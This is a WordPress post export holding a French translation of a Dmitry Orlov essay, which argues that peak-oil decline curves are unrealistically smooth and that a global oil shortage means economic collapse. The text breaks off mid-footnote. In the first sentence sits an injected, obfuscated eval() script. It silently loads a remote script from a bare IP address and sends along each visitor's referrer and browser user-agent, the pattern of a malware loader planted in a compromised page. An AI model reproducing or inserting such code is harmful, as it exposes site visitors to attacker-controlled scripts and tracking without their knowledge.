{"id":7624,"date":"2012-09-10T21:51:46","date_gmt":"2012-09-10T20:51:46","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7624"},"modified":"2012-09-10T21:51:46","modified_gmt":"2012-09-10T20:51:46","slug":"le-pic-petrolier-cest-de-lhistoire","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7624","title":{"rendered":"Le pic p\u00e9trolier, c&rsquo;est de l&rsquo;histoire"},"content":{"rendered":"<div id=\"content\">\n<p>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fenkt|var|u0026u|referrer|ehdzt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> baratin mercatique sur la quatri\u00e8me de couverture de la premi\u00e8re \u00e9dition de mon premier livre, <a href=\"http:\/\/www.newsociety.com\/bookid\/3991\" target=\"_blank\">R\u00e9inventer l&rsquo;effondrement<\/a>, me d\u00e9crivait comme <q>un th\u00e9oricien majeur du pic p\u00e9trolier<\/q>. Quand je l&rsquo;ai vu la premi\u00e8re fois, ma m\u00e2choire est tomb\u00e9e \u2014 et elle est rest\u00e9e pendante. Vous voyez, si vous parcourez une authentique liste de th\u00e9oriciens majeurs du pic p\u00e9trolier \u2014 les Hubbert, Campell, Laherr\u00e8re, Heinberg, Simmons et quelques autres valant d&rsquo;\u00eatre mentionn\u00e9s, vous ne trouverez pas un seul Orlov parmi eux. En vain chercheriez vous dans les annales et les comptes-rendus de l&rsquo;Association pour l&rsquo;\u00e9tude du pic p\u00e9trolier1 la moindre trace de votre humble auteur. Mais \u00e0 pr\u00e9sent que cette bourde est imprim\u00e9e et en circulation sur tant de copies, je suppose que je n&rsquo;ai pas d&rsquo;autre choix que d&rsquo;essayer d&rsquo;\u00eatre \u00e0 la hauteur des attentes qu&rsquo;elle cr\u00e9e.<\/p>\n<div>\n<p>1. <a href=\"http:\/\/www.peakoil.net\/\" target=\"_blank\">Association for the Study of Peak Oil and Gas<\/a>, un r\u00e9seau de scientifiques, d&rsquo;\u00e9conomistes et d&rsquo;ing\u00e9nieurs pr\u00e9occup\u00e9s par le pic p\u00e9trolier, en particulier par la surestimation des r\u00e9serves disponibles.<\/p>\n<\/div>\n<p>Mes d\u00e9qualifications mises \u00e0 part, le moment semble propice \u00e0 discourir avec un nouveau bout de th\u00e9orie du pic p\u00e9trolier, car c&rsquo;est l&rsquo;ann\u00e9e o\u00f9, pour la premi\u00e8re fois, presque tout le monde est pr\u00eat \u00e0 admettre que le pic p\u00e9trolier est r\u00e9el, par essence, bien que certains ne soient pas encore tout \u00e0 fait pr\u00eats \u00e0 l&rsquo;appeler par ce nom. Il y a seulement cinq ans tout le monde, depuis les officiels du gouvernement jusqu&rsquo;aux cadres des compagnies p\u00e9troli\u00e8res, traitait la th\u00e9orie du pic p\u00e9trolier comme l&rsquo;\u0153uvre d&rsquo;une frange de lunatiques, mais \u00e0 pr\u00e9sent que la production conventionnelle mondiale de p\u00e9trole \u00e0 atteint son pic (en 2005), et que la production mondiale de tous les liquides \u00e0 atteint son pic (en 2008), tout le monde est pr\u00eat \u00e0 conc\u00e9der qu&rsquo;il y a de s\u00e9rieuses difficult\u00e9s \u00e0 accro\u00eetre l&rsquo;approvisionnement mondial en p\u00e9trole. Et bien que certaines personnes craignent encore d&rsquo;utiliser le terme <q>pic p\u00e9trolier<\/q> (et que quelques experts insistent encore sur ce que le pic doit \u00eatre d\u00e9sign\u00e9 comme <q>un plateau ondul\u00e9<\/q>, ce qui, au moins, est une gracieuse tournure de phrase), les diff\u00e9rences d&rsquo;opinion proviennent d&rsquo;un refus d&rsquo;accepter la terminologie du pic p\u00e9trolier plut\u00f4t que la substance d&rsquo;une production mondiale de p\u00e9trole atteignant son pic. Ceci est, bien s\u00fbr, tout \u00e0 fait compr\u00e9hensible\u00a0: il est embarrassant de sauter soudainement de <q>le pic p\u00e9trolier est une \u00e2nerie\u00a0!<\/q> \u00e0 <q>le pic p\u00e9trolier, c&rsquo;est de l&rsquo;histoire\u00a0!<\/q> d&rsquo;un seul bond. De telles acrobaties ne sont sans danger que si vous vous trouvez \u00eatre un politicien ou un \u00e9conomiste.<\/p>\n<div>Par Dmitry Orlov<\/div>\n<div>1<sup>er<\/sup> septembre 2010<\/div>\n<p>source : <a href=\"http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/le_pic_petrolier_c_est_de_l_histoire.html\">http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/le_pic_petrolier_c_est_de_l_histoire.html<\/a><\/p>\n<p><!--more--><\/p>\n<p>Maintenant que l&rsquo;affaire a \u00e9t\u00e9 largement r\u00e9gl\u00e9e, je sens que le moment est m\u00fbr pour intervenir sur le sujet et d\u00e9clarer, sans \u00e9quivoque, que le pic p\u00e9trolier est en effet une \u00e2nerie. Pas la partie sur la production mondiale de p\u00e9trole atteignant un pic quelque part aux environs de maintenant puis d\u00e9clinant inexorablement\u00a0: cette partie semble assez vraie. Ni la partie sur la production p\u00e9troli\u00e8re de n&rsquo;importe quelle r\u00e9gion se retrouvant limit\u00e9e par la g\u00e9ologie et la technologie une fois que le pic est atteint\u00a0: cette partie, dans des conditions exp\u00e9rimentales ad\u00e9quatement con\u00e7ues, semble \u00e9galement pr\u00e9dictive. En fait, le mod\u00e8le d&rsquo;\u00e9puisement a \u00e9t\u00e9 joliment confirm\u00e9 par l&rsquo;exemple des \u00c9tats-Unis hors Alaska depuis 1970. Mais l&rsquo;id\u00e9e que ce m\u00eame mod\u00e8le d&rsquo;\u00e9puisement puisse \u00eatre appliqu\u00e9 \u00e0 la plan\u00e8te dans sa totalit\u00e9 est, je le sens, une chose qui doit \u00eatre rejet\u00e9e comme manifestement et totalement erron\u00e9e. Pour voir ce que je veux dire, regardons un graphique typique du pic p\u00e9trolier qui montre la production mondial de p\u00e9trole s&rsquo;accroissant jusqu&rsquo;\u00e0 un pic et puis d\u00e9clinant.<\/p>\n<div><img decoding=\"async\" title=\"Production liquide de p\u00e9trole et de gaz, sc\u00e9nario 2004\" src=\"http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/le_pic_petrolier_c_est_de_l_histoire_production_liquide_de_petrole_et_de_gaz_colin_j_campbell_2004.jpg\" alt=\"Production liquide de p\u00e9trole et de gaz d\u00e9taill\u00e9e par origine et situant le pic p\u00e9trolier vers 2005\" \/><\/p>\n<div>fig. 1<\/div>\n<\/div>\n<p>Observons que la courbe ascendante pr\u00e9sente beaucoup de structures int\u00e9ressantes. Il y a des guerres mondiales, des d\u00e9pressions, des effondrements imp\u00e9riaux, des embargos p\u00e9troliers, des d\u00e9couvertes de champs p\u00e9trolif\u00e8res g\u00e9ants, sans mentionner les affreux cycles expansion-r\u00e9cession qui sont le fl\u00e9au des \u00e9conomies capitalistes (tandis que les \u00e9conomies socialistes ont parfois pu cro\u00eetre, stagner et finalement s&rsquo;effondrer beaucoup plus gracieusement). C&rsquo;est une pente rugueuse, avec des falaises et des crevasses, des affleurements escarp\u00e9s et des pentes raides. Maintenant, regardons la pente descendante\u00a0: n&rsquo;est-elle pas incroyablement lisse\u00a0? Son origine g\u00e9ologique doit \u00eatre compl\u00e8tement diff\u00e9rente de celle de la pente ascendante. Elle semble faite d&rsquo;une seule moraine g\u00e9ante, empil\u00e9e \u00e0 l&rsquo;angle de repos pr\u00e8s du sommet, avec un peu d&rsquo;\u00e9talement \u00e0 la base sans doute d\u00fb \u00e0 l&rsquo;\u00e9rosion, avec une transition graduelle vers ce qui semble \u00eatre une plaine alluviale en pente douce sans doute compos\u00e9e du limon du ruissellement, qui est alors suivie par une vaste \u00e9tendue parfaitement plate, qui pourrait avoir \u00e9t\u00e9 le fond d&rsquo;une ancienne mer. Si l&rsquo;ascension vers le pic a d\u00fb n\u00e9cessiter des techniques d&rsquo;alpinisme, la pente descendante a l&rsquo;air de pouvoir \u00eatre n\u00e9goci\u00e9e en chaussons. On pourrait faire la roue jusqu&rsquo;en bas, et \u00eatre assur\u00e9 de ne rien toucher de pointu avant de s&rsquo;arr\u00eater de rouler doucement quelque part vers 2100. Math\u00e9matiquement, la pente ascendante devrait \u00eatre caract\u00e9ris\u00e9e par un polyn\u00f4me de degr\u00e9 \u00e9lev\u00e9, tandis que la courbe descendante n&rsquo;est que e<sup>-t<\/sup> avec un peu de bruit statistique. Ceci, vous l&rsquo;accorderez, est extr\u00eamement suspect\u00a0: un ph\u00e9nom\u00e8ne naturel d&rsquo;une grande complexit\u00e9 qui, juste quand il est forc\u00e9 de ne plus cro\u00eetre, se retourne et devient aussi simple qu&rsquo;un tas de terre. O\u00f9 avons-nous observ\u00e9 ailleurs cette sorte de simplification spontan\u00e9e et soudaine d&rsquo;un processus dynamique complexe\u00a0? La mort physique est quelque fois pr\u00e9c\u00e9d\u00e9e d&rsquo;un lent d\u00e9clin, mais t\u00f4t ou tard la plupart des choses vivantes passent de la vie \u00e0 la mort par une transition abrupte. Elles ne se ratatinent pas continuellement pendant des d\u00e9cennies, devenant finalement trop petites pour \u00eatre observables. Et donc, j&rsquo;aime appeler cet exemple g\u00e9n\u00e9rique et largement accept\u00e9 de pic p\u00e9trolier <q>le sc\u00e9nario rose<\/q>. C&rsquo;est celui dans lequel la civilisation industrielle, au lieu de chavirer promptement, se joint \u00e0 une communaut\u00e9 de retrait\u00e9s imaginaire et passe ses ann\u00e9es dor\u00e9es attach\u00e9e \u00e0 une bouteille d&rsquo;oxyg\u00e8ne fant\u00f4me et \u00e0 une poche de colostomie fant\u00f4me.<\/p>\n<div>\n<p>2. Si ce portrait ne vous parait pas clair\u00a0: il s&rsquo;agit des \u00c9tat-Unis.<\/p>\n<\/div>\n<p>La chose vraiment \u00e9trange est que le sc\u00e9nario rose peut \u00eatre tout \u00e0 fait pr\u00e9cis, dans des circonstances id\u00e9ales, lorsqu&rsquo;il est appliqu\u00e9 individuellement \u00e0 des pays ou \u00e0 des r\u00e9gions de production p\u00e9troli\u00e8re. Par exemple, supposons que l&rsquo;un des plus grands producteurs de p\u00e9trole au monde, qui a commenc\u00e9 avec plus de p\u00e9trole que l&rsquo;Arabie Saoudite, atteigne son pic p\u00e9trolier, disons, en 1970, mais quitte alors promptement l&rsquo;\u00e9talon-or, refile sa monnaie papier au reste du monde en la soutenant par la menace de la force y compris la possibilit\u00e9 d&rsquo;une frappe nucl\u00e9aire pr\u00e9ventive, en vienne finalement \u00e0 importer soixante pour cent de son p\u00e9trole, en grande partie \u00e0 cr\u00e9dit, et, quelques d\u00e9cennies plus tard, fasse faillite2. Alors, au cours des d\u00e9cennies \u00e9coul\u00e9es, sa production int\u00e9rieure de p\u00e9trole montrerait en effet cette courbe merveilleusement douce sous contrainte g\u00e9ologique et technologique \u2014 jusqu&rsquo;\u00e0 la banqueroute nationale.<\/p>\n<div><img decoding=\"async\" title=\"Production de p\u00e9trole des \u00c9tats-Unis\" src=\"http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/le_pic_petrolier_c_est_de_l_histoire_production_de_petrole_des_etats_unis_sam_v_shelton.jpg\" alt=\"Production de p\u00e9trole des \u00c9tats-Unis de 1900 \u00e0 2040, montrant le pic des ann\u00e9es 1970, et d\u00e9taillant la part de la production en Alaska\" \/><\/p>\n<div>fig. 2<\/div>\n<\/div>\n<p>Pass\u00e9 le moment de la banqueroute nationale les circonstances sont vou\u00e9es \u00e0 devenir d\u00e9cid\u00e9ment non id\u00e9ales, mais les implications de cela demeurent peu claires. Ce pays infortun\u00e9 pourra-t-il continuer d&#8217;emprunter de l&rsquo;argent internationalement afin d&rsquo;importer assez de p\u00e9trole pour maintenir son \u00e9conomie en fonctionnement, et, si c&rsquo;est le cas, dans quelles conditions, et pour combien de temps encore\u00a0? Il serait bien de savoir en avance comment cette histoire fini, mais malheureusement tout ce que nous pouvons faire est d&rsquo;attendre et voir.<\/p>\n<div>\n<p>3. Lire \u00e0 ce sujet\u00a0: <a href=\"http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/lecons_post_sovietiques_pour_un_siecle_post_americain.html\">Le\u00e7ons post-sovi\u00e9tiques pour un si\u00e8cle post-am\u00e9ricain<\/a>.<\/p>\n<\/div>\n<p>Mais nous avons un autre exemple (fig. 3) qui peut offrir quelques id\u00e9es sur ce que nous pensons quand nous disons que les circonstances seront <q>non id\u00e9ales<\/q>. Le pays qui est actuellement le plus grand producteur de p\u00e9trole du monde a atteint son pic p\u00e9trolier vers 1987. Son gouvernement scl\u00e9ros\u00e9, s\u00e9nile, id\u00e9ologiquement born\u00e9, syst\u00e9matiquement corrompu a \u00e9t\u00e9 incapable de saisir l&rsquo;importance de ce fait, et tout juste trois ans plus tard le pays \u00e9tait en faillite et, peu de temps apr\u00e8s, il s&rsquo;est dissout politiquement3. Dans ce cas, la production de p\u00e9trole s&rsquo;effondrant est devenue le principal indicateur \u00e9conomique\u00a0: elle s&rsquo;est effondr\u00e9e, puis le produit int\u00e9rieur brut s&rsquo;est effondr\u00e9, puis la production de charbon et de gaz naturel s&rsquo;est effondr\u00e9e, et une d\u00e9cennie plus tard l&rsquo;\u00e9conomie avait diminu\u00e9 de quarante pour cent. Derri\u00e8re ces chiffres il y avait une chute pr\u00e9cipit\u00e9e de l&rsquo;esp\u00e9rance de vie et une atmosph\u00e8re omnipr\u00e9sente de d\u00e9sespoir dans laquelle de nombreuses vies ont \u00e9t\u00e9s perdues ou d\u00e9truites.<\/p>\n<div><img decoding=\"async\" title=\"Production de p\u00e9trole de la Russie\" src=\"http:\/\/www.orbite.info\/traductions\/dmitry_orlov\/le_pic_petrolier_c_est_de_l_histoire_production_de_petrole_de_la_russie.jpg\" alt=\"Production de p\u00e9trole de la Russie de 1949 \u00e0 2009, montrant le pic des ann\u00e9es 1980, le creux des ann\u00e9es 1990 et la reprise des ann\u00e9es 2000\" \/><\/p>\n<div>fig. 3<\/div>\n<\/div>\n<div>\n<p>4. et 5. En fran\u00e7ais dans le texte.<\/p>\n<\/div>\n<p>Mais aussi longtemps qu&rsquo;aucun facteur politique ou \u00e9conomique d\u00e9sordonn\u00e9, interne ou externe, n&rsquo;interf\u00e8re avec la courbe d&rsquo;\u00e9puisement naturel, les pr\u00e9dictions de la th\u00e9orie du pic p\u00e9trolier sur l&rsquo;<em>apr\u00e8s4<\/em> pic semblent bien tenir. (Quand je dis <q>circonstances id\u00e9ales<\/q>, je suppose que je dois vouloir dire <q>des circonstances id\u00e9ales du point de vue de mol\u00e9cules d&rsquo;hydrocarbures sensibles quoique irrationnelles, dont le d\u00e9sir est d&rsquo;\u00eatre pomp\u00e9es hors du sol et brul\u00e9es aussi vite et efficacement que possible<\/q>, parce qu&rsquo;on ne voit pas clairement qui d&rsquo;autre en b\u00e9n\u00e9ficie finalement, mais ne pinaillons pas.) Puisque le probl\u00e8me de ne pas avoir assez de p\u00e9trole pour fonctionner est connu pour causer toute sorte de difficult\u00e9s politiques et \u00e9conomiques, et puisque c&rsquo;est exactement le probl\u00e8me que nous devrions nous attendre \u00e0 rencontrer peu apr\u00e8s que le monde atteigne le pic p\u00e9trolier, l&rsquo;hypoth\u00e8se de base sur laquelle les pr\u00e9dictions de la th\u00e9orie du pic p\u00e9trolier reposent pour la production globale de p\u00e9trole n&rsquo;est pas r\u00e9aliste. Les sp\u00e9cialistes qui sont en position de pr\u00e9dire le pic p\u00e9trolier ne sont pas capables de jauger ses effets \u00e9conomiques et politiques, et donc tout ce qu&rsquo;ils peuvent faire est de nous donner le sc\u00e9nario rose comme ultime limite sup\u00e9rieure. Cependant cet avertissement n&rsquo;est pas \u00e9nonc\u00e9 aussi clairement qu&rsquo;il le devrait. Le r\u00e9sultat est que nous pourrions aussi bien travailler avec une th\u00e9orie qui pr\u00e9dit qu&rsquo;une fois le pic p\u00e9trolier atteint de d\u00e9licieux <em>petits fours5<\/em> au chocolat vont spontan\u00e9ment se cuisiner et voler dans nos bouches sur de d\u00e9licates ailettes de massepain.<\/p>\n<p>L&rsquo;explication bas\u00e9e sur la th\u00e9orie du pic p\u00e9trolier est que, tandis que la pente ascendante est contrainte \u00e9conomiquement, la pente descendante est seulement contrainte par la g\u00e9ologie des r\u00e9servoirs de p\u00e9trole s&rsquo;\u00e9puisant et par la technologie d&rsquo;extraction p\u00e9troli\u00e8re, qui est sujette \u00e0 des limites thermodynamiques et ne peut s&rsquo;am\u00e9liorer ind\u00e9finiment sans rencontrer des rendements d\u00e9croissants, puis n\u00e9gatifs. Alors que l&rsquo;approvisionnement de p\u00e9trole s&rsquo;accro\u00eet, la demande de p\u00e9trole fluctue, r\u00e9sultant en de nombreux hauts et bas dans la production, superpos\u00e9s \u00e0 la tendance g\u00e9n\u00e9rale de croissance pendant que la production essaye de satisfaire la demande. Mais sur la pente descendante, la demande exc\u00e8de en permanence l&rsquo;approvisionnement, et donc chaque baril de p\u00e9trole qui peut \u00eatre produit \u00e0 chaque instant le sera.<\/p>\n<p>Lorsqu&rsquo;on extrapole les cons\u00e9quences du d\u00e9clin des productions p\u00e9troli\u00e8res locales au pic p\u00e9trolier global, l&rsquo;hypoth\u00e8se implicite est que l&rsquo;\u00e9conomie globale continuera de fonctionner avec une surprenante r\u00e9gularit\u00e9 au niveau de demande qui peut \u00eatre satisfait, tandis que la demande insatisfaite sera proprement emport\u00e9e dans le caniveau par un constant et puissant flot d&rsquo;absurdit\u00e9s \u00e9conomiques et politiques. Tout cela s&rsquo;arrangera spontan\u00e9ment avec des participants rationnels sur le march\u00e9, r\u00e9pondant \u00e0 des signaux de prix et d\u00e9cidant \u00e0 chaque instant s&rsquo;ils doivent\u00a0:<\/p>\n<p>A) Continuer de consommer du p\u00e9trole de la fa\u00e7on \u00e0 laquelle ils se sont habitu\u00e9s, ou&#8230;<\/p>\n<p>B) Dispara\u00eetre tranquillement et mourir sans attirer l&rsquo;attention sur eux ou faire d&rsquo;histoire.<\/p>\n<p>O\u00f9 a-t-on vu une si parfaite organisation, dans des situations o\u00f9 une marchandise clef \u2014 comme, disons, la nourriture ou l&rsquo;eau potable \u2014 devient critiquement rare\u00a0? O\u00f9\u00a0? O\u00f9 donc\u00a0?<\/p>\n<div>\n<p>6. Dans le texte\u00a0: <q>credit default swap<\/q>.<\/p>\n<p>7. En fran\u00e7ais dans le texte.<\/p>\n<p>8. Dans le texte\u00a0: <q>double-dips<\/q>, une r\u00e9cession avec rechute.<\/p>\n<p>9. Timothy Geithner est l&rsquo;actuel Secr\u00e9taire du Tr\u00e9sor (le ministre des finances) am\u00e9ricain.<\/p>\n<p>10. Ben Shalom Bernanke est l&rsquo;actuel pr\u00e9sident de la R\u00e9serve f\u00e9d\u00e9rale des \u00c9tats-Unis (la banque centrale am\u00e9ricaine).<\/p>\n<\/div>\n<p>Et je suppose qu&rsquo;une hypoth\u00e8se non-dite suppl\u00e9mentaire est qu&rsquo;une \u00e9conomie en contraction (qu&rsquo;en est-il de toute cette demande insatisfaite et de l&rsquo;attrition r\u00e9sultante parmi les acteurs du march\u00e9\u00a0?) peut fonctionner tout comme une \u00e9conomie en croissance, sans subir un effondrement financier. Des instruments financiers sp\u00e9ciaux appel\u00e9s couvertures de d\u00e9faillance6 peuvent \u00eatre utilis\u00e9s comme protection contre le risque de contrepartie croissant de vos d\u00e9biteurs, mourant par troupeaux de blessures auto-inflig\u00e9es, bien qu&rsquo;apr\u00e8s un moment ces instruments deviennent un peu trop chers. Mais je suppose que l&rsquo;on ne peut pas faire grand chose aux projections de croissance \u00e9conomique recuites dans chaque plan financier \u00e0 tous les niveaux. Quand elles s&rsquo;av\u00e9reront infond\u00e9es, toutes les pyramides de dette se mettront \u00e0 s&rsquo;\u00e9crouler. Et comme une monnaie fiduciaire (telle que le dollar am\u00e9ricain) est compos\u00e9e de dette \u2014 du cr\u00e9dit avanc\u00e9 sur la base d&rsquo;une promesse de croissance future \u2014 on ne voit pas clairement comment et avec quoi le p\u00e9trole restant continuera d&rsquo;\u00eatre achet\u00e9. La fin de la croissance est un impond\u00e9rable\u00a0; commencez d&rsquo;en parler et tout le monde d\u00e9cide soudainement qu&rsquo;il est l&rsquo;heure de d\u00e9jeuner et commence \u00e0 commander les boissons. Les Fran\u00e7ais au moins on un mot appropri\u00e9 pour cela\u00a0: <em>d\u00e9croissance7<\/em>\u00a0; ici, dans le monde anglophone, tout ce que nous savons faire c&rsquo;est bafouiller et marmonner <q>double-creux8<\/q>. Peut-\u00eatre que Geithner9 et Bernanke10 peuvent pr\u00e9senter un num\u00e9ro de danse pour illustrer.<\/p>\n<p>Regardons cela d&rsquo;une autre mani\u00e8re. Comme je l&rsquo;ai mentionn\u00e9, la th\u00e9orie du pic p\u00e9trolier a tr\u00e8s bien pr\u00e9dit le profil d&rsquo;\u00e9puisement de certains pays et r\u00e9gions stables et prosp\u00e8res. Mais ces pr\u00e9dictions deviennent absurdes quand elles sont extrapol\u00e9es au monde entier, pour une raison tr\u00e8s \u00e9vidente\u00a0: le monde ne peut importer de p\u00e9trole. Je vais le r\u00e9p\u00e9ter, cette fois en capitales, gras et centr\u00e9, pour souligner l&rsquo;importance de cette affirmation\u00a0:<\/p>\n<p id=\"sayAgain\">La plan\u00e8te Terre ne peut importer de p\u00e9trole.<\/p>\n<p>Lorsqu&rsquo;il fait face \u00e0 une production int\u00e9rieure de p\u00e9trole insuffisante, un pays industrialis\u00e9 n&rsquo;a que deux choix\u00a0:<\/p>\n<p>1) Importer du p\u00e9trole.<\/p>\n<p>2) S&rsquo;effondrer.<\/p>\n<p>Mais lorsqu&rsquo;elle fait face \u00e0 une production globale de p\u00e9trole insuffisante, une plan\u00e8te industrialis\u00e9 n&rsquo;a qu&rsquo;un choix\u00a0: le choix num\u00e9ro deux.<\/p>\n<div>\n<p>11. Il s&rsquo;agit du rapport intitul\u00e9 Peaking of World Oil Production: Impacts, Mitigation, and Risk Management (<q>Pic de la production mondiale de p\u00e9trole\u00a0: impacts, att\u00e9nuation et gestion du risque<\/q>), command\u00e9 par le D\u00e9partement am\u00e9ricain de l&rsquo;\u00e9nergie et r\u00e9dig\u00e9 sous la direction du chercheur Robert Hirsch en 2005.<\/p>\n<\/div>\n<p>Certains pourraient soutenir qu&rsquo;il y ait un troisi\u00e8me choix\u00a0: commencer tout de suite d&rsquo;utiliser moins de p\u00e9trole. Cependant, en pratique, cela s&rsquo;av\u00e8re \u00eatre l&rsquo;\u00e9quivalent du choix num\u00e9ro deux. Utiliser moins de p\u00e9trole implique de faire des changements radicaux, souvent technologiquement difficiles, politiquement impopulaires, et par cons\u00e9quent co\u00fbteux et consommateurs de temps. Cela peut-\u00eatre aussi technologiquement avanc\u00e9 (et irr\u00e9aliste) que de remplacer le parc actuel de v\u00e9hicules motoris\u00e9s par des v\u00e9hicules sur batteries et un grand nombre de centrales nucl\u00e9aires pour recharger leurs batteries, ou aussi simple (et tout \u00e0 fait r\u00e9aliste) que de d\u00e9m\u00e9nager dans un lieu \u00e0 distance de marche ou de bicyclette de son travail, de faire pousser la plus grande part de sa nourriture dans un jardin potager et un poulailler, et ainsi de suite. Mais quelles que soient ces \u00e9tapes, elles requi\u00e8rent toutes une certaine quantit\u00e9 de pr\u00e9parations et de d\u00e9penses, et une \u00e9poque de crise (telle que le moment o\u00f9 l&rsquo;approvisionnement en p\u00e9trole manque) est un moment notoirement difficile pour se lancer dans la planification d&rsquo;activit\u00e9s \u00e0 long terme. Au moment o\u00f9 la crise arrive, soit un pays s&rsquo;est d\u00e9j\u00e0 pr\u00e9par\u00e9 autant qu&rsquo;il le pouvait ou le voulait (retardant ainsi la survenue de l&rsquo;effondrement), soit il ne l&rsquo;a pas fait, attirant la crise plus t\u00f4t, et la rendant plus s\u00e9v\u00e8re. Le rapport Hirsch11, souvent cit\u00e9, affirme qu&rsquo;il faudrait vingt ans pour se pr\u00e9parer au pic p\u00e9trolier, de fa\u00e7on \u00e0 \u00e9viter une p\u00e9nurie s\u00e9v\u00e8re et prolong\u00e9e de carburants de transport, et donc, \u00e9tant donn\u00e9 que le pic a eu lieu en 2005, nous avons maintenant <em>moins vingt-cinq<\/em> ans \u00e0 glandouiller avant de devoir commencer \u00e0 se pr\u00e9parer. D&rsquo;apr\u00e8s Hirsch et compagnie, nous avons d\u00e9j\u00e0 \u00e9chou\u00e9 \u00e0 nous pr\u00e9parer.<\/p>\n<p>Certains pourraient aussi se demander pourquoi une p\u00e9nurie de p\u00e9trole devrait automatiquement entra\u00eener un effondrement. Il s&rsquo;av\u00e8re que, dans une \u00e9conomie industrialis\u00e9e, une baisse de la consommation de p\u00e9trole provoque une baisse proportionnelle de l&rsquo;ensemble de l&rsquo;activit\u00e9 \u00e9conomique. Le p\u00e9trole est la mati\u00e8re premi\u00e8re utilis\u00e9e pour fabriquer la grande majorit\u00e9 des carburants de transport \u2014 qui sont utilis\u00e9s pour transporter les produits et livrer les services \u00e0 travers toute l&rsquo;\u00e9conomie. Aux \u00c9tats-Unis en particulier, il y a une forte corr\u00e9lation entre le produit int\u00e9rieur brut et le kilom\u00e9trage parcouru par les v\u00e9hicules motoris\u00e9s. Par cons\u00e9quent, on peut dire de l&rsquo;\u00e9conomie am\u00e9ricaine qu&rsquo;elle marche au p\u00e9trole, d&rsquo;une fa\u00e7on plut\u00f4t directe et imm\u00e9diate\u00a0: moins de p\u00e9trole implique une \u00e9conomie plus petite. \u00c0 quel point l&rsquo;\u00e9conomie se contracte-t-elle tant qu&rsquo;elle ne peut plus satisfaire ses propres besoins de maintenance\u00a0? Afin de continuer \u00e0 fonctionner, toute sorte d&rsquo;infrastructure, d&rsquo;usine et d&rsquo;\u00e9quipement doit \u00eatre entretenue et remplac\u00e9e en temps et en heure, ou elle cesse de fonctionner. Une fois que ce point est atteint, l&rsquo;activit\u00e9 \u00e9conomique devient contrainte non seulement par la disponibilit\u00e9 des carburants de transport, mais aussi par la disponibilit\u00e9 de l&rsquo;\u00e9quipement utilisable. \u00c0 un certain point l&rsquo;\u00e9conomie se contracte tant qu&rsquo;elle invalide les hypoth\u00e8ses financi\u00e8res sur lesquelles elle est bas\u00e9e, rendant impossible de continuer d&rsquo;importer du p\u00e9trole \u00e0 cr\u00e9dit. Une fois que ce point est atteint, la quantit\u00e9 de carburant de transport disponible n&rsquo;est plus limit\u00e9e seulement par la disponibilit\u00e9 du p\u00e9trole, mais elle est aussi contrainte par l&rsquo;incapacit\u00e9 de financer les importations de p\u00e9trole.<\/p>\n<div>\n<p>12. Dans le texte\u00a0: <q>topping off<\/q>.<\/p>\n<\/div>\n<p>La p\u00e9nurie initiale de carburant de transport n&rsquo;a pas besoin d&rsquo;\u00eatre grande pour d\u00e9clencher toute cette cascade d&rsquo;\u00e9v\u00e9nements, car m\u00eame une petite p\u00e9nurie d\u00e9clenche un certain nombre de bouclages \u00e9conomiquement destructifs. Beaucoup de carburant est gaspill\u00e9 en faisant la queue aux quelques stations-service qui demeurent ouvertes. Davantage de carburant est gaspill\u00e9 en faisant le plein12 \u2014 garder le r\u00e9servoir aussi rempli que possible, ne sachant pas quand et o\u00f9 l&rsquo;on pourra le remplir \u00e0 nouveau. Encore plus de carburant dispara\u00eet du march\u00e9 parce que les gens l&rsquo;accumulent dans des jerrycans et des r\u00e9cipients improvis\u00e9s. \u00c0 mesure que les p\u00e9nuries se prolongent et se r\u00e9pandent, le carburant est accumul\u00e9, et un march\u00e9 noir se d\u00e9veloppe\u00a0: le carburant d\u00e9tourn\u00e9 des canaux de livraison officiels et siphonn\u00e9 des r\u00e9servoirs devient disponible sur le march\u00e9 noir a des prix gonfl\u00e9s. Et ainsi l&rsquo;effet d&rsquo;une p\u00e9nurie initiale m\u00eame mineure peut facilement faire boule de neige en une perturbation \u00e9conomique suffisante pour pousser l&rsquo;\u00e9conomie au del\u00e0 des seuils physiques et financiers et vers l&rsquo;effondrement.<\/p>\n<p>Si \u00e0 ce point vous commencez \u00e0 vous sentir d\u00e9courag\u00e9, alors \u2014 je suis d\u00e9sol\u00e9 de devoir le dire, mais vous devez \u00eatre une petite nature, parce qu&rsquo;il y a davantage \u2014 bien davantage \u00e0 envisager. Le sc\u00e9nario rose du pic p\u00e9trolier peut avoir l&rsquo;air joli, mais m\u00eame une rose a ses \u00e9pines. Et il y a un certain nombre d&rsquo;autres questions qui doivent \u00eatre consid\u00e9r\u00e9es et prises en compte dans une vision int\u00e9gr\u00e9e unique.<\/p>\n<div>\n<p>13. L&rsquo;Organisation des pays exportateurs de p\u00e9trole regroupe actuellement une douzaine de pays, la moiti\u00e9 au Moyen-Orient, deux en Am\u00e9rique du Sud et le reste en Afrique.<\/p>\n<p>14. Les membres de l&rsquo;OPEP se partagent le march\u00e9 des exportations p\u00e9troli\u00e8res en fonction de quotas bas\u00e9s sur leurs r\u00e9serves estim\u00e9es. Les courbes des r\u00e9serves estim\u00e9es par pays producteur montrent de brusques doublements au cours des ann\u00e9es 1980 (quand les prix \u00e9taient bas), chacun r\u00e9agissant au gonflement du quota de ses concurrents par sa propre surestimation.<\/p>\n<p>15. Dans le texte\u00a0: <q>Export Land Effect<\/q>. Il s&rsquo;agit d&rsquo;un mod\u00e8le du d\u00e9clin des exportations 